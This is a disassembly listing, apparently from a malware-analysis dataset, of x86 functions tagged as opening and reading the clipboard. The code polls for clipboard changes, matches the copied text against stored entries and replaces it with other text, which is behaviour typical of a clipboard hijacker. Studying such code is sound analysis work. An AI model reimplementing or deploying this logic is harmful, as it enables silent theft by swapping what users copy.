Function at 0x66899dc0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
mov eax, dword [0x669a702c]
mov dword [esp + 0x5c], eax
xor eax, eax
mov dword [esp + 8], 0x6695f5b0
mov dword [esp + 4], 0
mov dword [esp], 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
sub esp, 0xc
test eax, eax
je 0x66899bcc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [esp + 0x5c]
sub eax, dword [0x669a702c]
jne 0x66899db8
add esp, 0x6c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x6695f5b0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
lea ebp, [esp + 0x18]
lea edi, [esp + 0x14]
lea esi, [esi]
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp eax, dword [0x6695e490]
je 0x66899bf8
lea eax, [esp + 0x2c]
mov dword [esp], eax
call 0x66899dc0
lea ecx, [esp + 0x2c]
call fcn.668ab520
test al, al
je 0x66899c40
call 0x66899eb0
lea ecx, [esp + 0x2c]
call fcn.669238b0
jmp 0x66899bf8
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.66922b90
sub esp, 4
call fcn.6691bd60
mov dword [esp + 0x14], eax
call fcn.6691bd20
mov dword [esp + 0x18], eax
jmp 0x66899ce1
mov eax, dword [esp + 0x14]
call fcn.6689e300
lea ecx, [esp + 0x1c]
mov ebx, eax
mov eax, dword [eax + 4]
mov dword [esp], eax
call fcn.6691f7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.66945950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6691f830
mov eax, esi
test al, al
jne 0x66899cf5
mov eax, dword [ebx]
lea ecx, [esp + 0x1c]
mov dword [esp], eax
call fcn.6691f7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.66945950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6691f830
mov eax, esi
test al, al
jne 0x66899d18
mov ecx, edi
call fcn.6689bbc0
mov dword [esp + 4], ebp
mov dword [esp], edi
call fcn.6689cb10
test al, al
jne 0x66899c70
call 0x66899eb0
lea ecx, [esp + 0x44]
call fcn.669238b0
lea ecx, [esp + 0x2c]
call fcn.669238b0
jmp 0x66899bf8
mov eax, dword [ebx + 4]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.669239d0
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
je 0x66899cf5
lea ecx, [esp + 0x44]
call fcn.668ab4e0
mov dword [esp], 0
add eax, 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
sub esp, 8
mov ebx, eax
test eax, eax
je 0x66899dad
lea ecx, [esp + 0x44]
call fcn.668ab500
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 4], ebx
mov dword [esp], 1
call dword [sym.imp.USER32.dll_SetClipboardData]
sub esp, 8
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x66899cf5
call fcn.66881590
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x669a702c]
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp], 1
mov ebx, dword [esp + 0x40]
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
sub esp, 4
test eax, eax
je 0x66899dfd
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
jne 0x66899e30
mov dword [esp], 0x6695f176
mov ecx, ebx
call fcn.669230d0
sub esp, 4
mov eax, dword [esp + 0x2c]
sub eax, dword [0x669a702c]
jne 0x66899ea3
add esp, 0x30
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov esi, eax
test eax, eax
je 0x66899e98
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
test eax, eax
je 0x66899e98
mov dword [esp], eax
lea edi, [esp + 0x14]
mov ecx, edi
call fcn.669230d0
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esp], edi
mov ecx, ebx
call fcn.669229e0
mov ecx, edi
sub esp, 4
call fcn.669238b0
jmp 0x66899e0e
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x66899dfd
call fcn.66881590
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x1c
mov eax, dword [0x669a702c]
mov dword [esp + 0xc], eax
xor eax, eax
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x6695e490], eax
mov eax, dword [esp + 0xc]
sub eax, dword [0x669a702c]
jne 0x66899ed9
add esp, 0x1c
ret
call fcn.66881590
nop
nop
sub esp, 0x1c
mov eax, dword [esp + 0x20]
call pe_dos_header
mov dword [esp], 1
sub eax, 0xc
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, 0x66899f40
call pe_dos_header
add esp, 0x1c
ret